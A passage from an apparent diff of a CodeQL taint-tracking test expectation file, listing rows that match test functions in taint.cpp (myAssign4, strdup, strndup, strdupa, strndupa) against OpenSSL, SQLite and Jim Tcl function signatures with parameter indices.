SSL_set_quic_tls_early_data_enabled | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL *,int) | | SSL_set_read_ahead | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL *,int) | | SSL_set_security_level | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL *,int) | | SSL_set_shutdown | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL *,int) | | SSL_set_trust | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL *,int) | | SSL_set_verify_depth | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_CTX *,int) | | ssl_md | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509 *,int) | | X509_delete_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509 *,int) | | X509_self_signed | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (acttab *,int) | | acttab_insert | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (char *,int) | | PEM_proc_type | 1 | | taint.cpp:312:6:312:14 | myAssign4 | (char,int) | CStringT | CStringT | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const BIGNUM *,int) | | BN_get_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const BIO *,int) | | BIO_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const BIO *,int) | | BIO_test_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const DH *,int) | | DH_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const DH *,int) | | DH_test_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const DH *,int) | | ossl_dh_dup | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const DSA *,int) | | DSA_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const DSA *,int) | | DSA_test_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const DSA *,int) | | ossl_dsa_dup | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const RSA *,int) | | RSA_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const RSA *,int) | | RSA_test_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const RSA *,int) | | ossl_rsa_dup | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const SSL *,int) | | SSL_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const UI *,int) | | UI_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const X509 *,int) | | X509_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const X509 *,int) | | X509_get_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | taint.cpp:312:6:312:14 | myAssign4 | (const XCHAR *,int) | CStringT | CStringT | 1 | | taint.cpp:312:6:312:14 | myAssign4 | (const YCHAR *,int) | CStringT | CStringT | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const char *,int) | | DH_meth_new | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const char *,int) | | DSA_meth_new | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const char *,int) | | Jim_StrDupLen | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const char *,int) | | RSA_meth_new | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const char *,int) | | parse_yesno | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (int *,int) | | X509_PURPOSE_set | 0 | +| taint.cpp:312:6:312:14 | myAssign4 | (int *,int) | | X509_PURPOSE_set | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (int *,int) | | X509_TRUST_set | 0 | +| taint.cpp:312:6:312:14 | myAssign4 | (int *,int) | | X509_TRUST_set | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (int,int) | | BN_security_bits | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (int,int) | | EVP_MD_meth_new | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (int,int) | | EVP_PKEY_meth_new | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (int,int) | | acttab_alloc | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (rule *,int) | | Configlist_add | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (rule *,int) | | Configlist_addbasis | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (uint16_t,int) | | tls1_group_id2nid | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (unsigned char *,int) | | RAND_bytes | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (void *,int) | | DSO_dsobyaddr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (void *,int) | | sqlite3_realloc | 1 | | taint.cpp:312:6:312:14 | myAssign4 | (wchar_t,int) | CStringT | CStringT | 1 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | BIO_gethostbyname | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | Jim_StrDup | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | OPENSSL_LH_strhash | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | Strsafe | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | Symbol_new | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | UI_create_method | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | X509V3_parse_list | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | X509_LOOKUP_meth_new | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | a2i_IPADDRESS | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | a2i_IPADDRESS_NC | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | opt_path_end | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | opt_progname | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | ossl_lh_strcasehash | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | strhash | 0 | +| taint.cpp:362:7:362:13 | strndup | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_cert_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_nm_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_oid_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_str_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (BIGNUM *,unsigned long) | | BN_add_word | 1 | +| taint.cpp:362:7:362:13 | strndup | (BIGNUM *,unsigned long) | | BN_div_word | 1 | +| taint.cpp:362:7:362:13 | strndup | (BIGNUM *,unsigned long) | | BN_set_word | 1 | +| taint.cpp:362:7:362:13 | strndup | (BIGNUM *,unsigned long) | | BN_sub_word | 1 | +| taint.cpp:362:7:362:13 | strndup | (BN_BLINDING *,unsigned long) | | BN_BLINDING_set_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (BUF_MEM *,size_t) | | BUF_MEM_grow | 1 | +| taint.cpp:362:7:362:13 | strndup | (BUF_MEM *,size_t) | | BUF_MEM_grow_clean | 1 | +| taint.cpp:362:7:362:13 | strndup | (CONF_IMODULE *,unsigned long) | | CONF_imodule_set_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (EVP_CIPHER *,unsigned long) | | EVP_CIPHER_meth_set_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (EVP_MD *,unsigned long) | | EVP_MD_meth_set_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (HMAC_CTX *,unsigned long) | | HMAC_CTX_set_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (OPENSSL_INIT_SETTINGS *,unsigned long) | | OPENSSL_INIT_set_config_file_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (OPENSSL_LHASH *,unsigned long) | | OPENSSL_LH_set_down_load | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_HPKE_SUITE,size_t) | | OSSL_HPKE_get_ciphertext_size | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_HTTP_REQ_CTX *,size_t) | | OSSL_HTTP_REQ_CTX_set_max_response_hdr_lines | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_HTTP_REQ_CTX *,unsigned long) | | OSSL_HTTP_REQ_CTX_set_max_response_length | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_LIB_CTX *,size_t) | | ossl_quic_lcidm_new | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_PARAM *,size_t) | | OSSL_PARAM_set_size_t | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_PARAM *,unsigned long) | | OSSL_PARAM_set_ulong | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_PQUEUE *,size_t) | | ossl_pqueue_remove | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_PROVIDER *,size_t) | | ossl_provider_set_operation_bit | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_QTX *,size_t) | | ossl_qtx_set_mdpl | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_add_unvalidated_credit | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_consume_unvalidated_credit | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_record_received_closing_bytes | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_frag_len | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_pipelines | 1 | +| taint.cpp:362:7:362:13 | strndup | (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_release_record | 1 | +| taint.cpp:362:7:362:13 | strndup | (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_resize_rbuf | 1 | +| taint.cpp:362:7:362:13 | strndup | (QUIC_RXFC *,size_t) | | ossl_quic_rxfc_set_max_window_size | 1 | +| taint.cpp:362:7:362:13 | strndup | (QUIC_SSTREAM *,size_t) | | ossl_quic_sstream_set_buffer_size | 1 | +| taint.cpp:362:7:362:13 | strndup | (QUIC_STREAM_MAP *,size_t) | | ossl_quic_stream_map_set_rr_stepping | 1 | +| taint.cpp:362:7:362:13 | strndup | (RAND_POOL *,size_t) | | ossl_rand_pool_add_begin | 1 | +| taint.cpp:362:7:362:13 | strndup | (SIPHASH *,size_t) | | SipHash_set_hash_size | 1 | +| taint.cpp:362:7:362:13 | strndup | (SSL *,size_t) | | SSL_set_block_padding | 1 | +| taint.cpp:362:7:362:13 | strndup | (SSL *,size_t) | | SSL_set_default_read_buffer_len | 1 | +| taint.cpp:362:7:362:13 | strndup | (SSL *,size_t) | | SSL_set_num_tickets | 1 | +| taint.cpp:362:7:362:13 | strndup | (SSL *,unsigned long) | | SSL_dane_clear_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (SSL *,unsigned long) | | SSL_dane_set_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 1 | +| taint.cpp:362:7:362:13 | strndup | (SSL_CTX *,size_t) | | SSL_CTX_set_block_padding | 1 | +| taint.cpp:362:7:362:13 | strndup | (SSL_CTX *,size_t) | | SSL_CTX_set_default_read_buffer_len | 1 | +| taint.cpp:362:7:362:13 | strndup | (SSL_CTX *,size_t) | | SSL_CTX_set_num_tickets | 1 | +| taint.cpp:362:7:362:13 | strndup | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_clear_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_set_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (WPACKET *,size_t) | | WPACKET_init_null | 1 | +| taint.cpp:362:7:362:13 | strndup | (WPACKET *,size_t) | | WPACKET_set_max_size | 1 | +| taint.cpp:362:7:362:13 | strndup | (WPACKET *,size_t) | | WPACKET_start_sub_packet_len__ | 1 | +| taint.cpp:362:7:362:13 | strndup | (WPACKET *,size_t) | | ossl_quic_wire_encode_padding | 1 | +| taint.cpp:362:7:362:13 | strndup | (X509_STORE *,unsigned long) | | X509_STORE_set_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (X509_STORE_CTX *,unsigned long) | | X509_STORE_CTX_set_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_clear_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_set_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (char *,size_t) | | RAND_file_name | 1 | +| taint.cpp:362:7:362:13 | strndup | (const BIGNUM *,unsigned long) | | BN_mod_word | 1 | +| taint.cpp:362:7:362:13 | strndup | (const char *,size_t) | | OPENSSL_strnlen | 0 | +| taint.cpp:362:7:362:13 | strndup | (const char *,size_t) | | OPENSSL_strnlen | 1 | +| taint.cpp:362:7:362:13 | strndup | (const uint8_t *,size_t) | | FuzzerTestOneInput | 1 | +| taint.cpp:362:7:362:13 | strndup | (const uint8_t *,size_t) | | ossl_ed448_pubkey_verify | 1 | +| taint.cpp:362:7:362:13 | strndup | (int,size_t) | | ossl_calculate_comp_expansion | 1 | +| taint.cpp:362:7:362:13 | strndup | (uint8_t *,size_t) | | ossl_fnv1a_hash | 1 | +| taint.cpp:362:7:362:13 | strndup | (void *,size_t) | | JimDefaultAllocator | 1 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | BIO_gethostbyname | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | Jim_StrDup | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | OPENSSL_LH_strhash | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | Strsafe | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | Symbol_new | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | UI_create_method | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | X509V3_parse_list | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | X509_LOOKUP_meth_new | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | a2i_IPADDRESS | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | a2i_IPADDRESS_NC | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | opt_path_end | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | opt_progname | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | ossl_lh_strcasehash | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | strhash | 0 | +| taint.cpp:365:7:365:14 | strndupa | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_cert_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_nm_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_oid_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_str_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (BIGNUM *,unsigned long) | | BN_add_word | 1 | +| taint.cpp:365:7:365:14 | strndupa | (BIGNUM *,unsigned long) | | BN_div_word | 1 | +| taint.cpp:365:7:365:14 | strndupa | (BIGNUM *,unsigned long) | | BN_set_word | 1 | +| 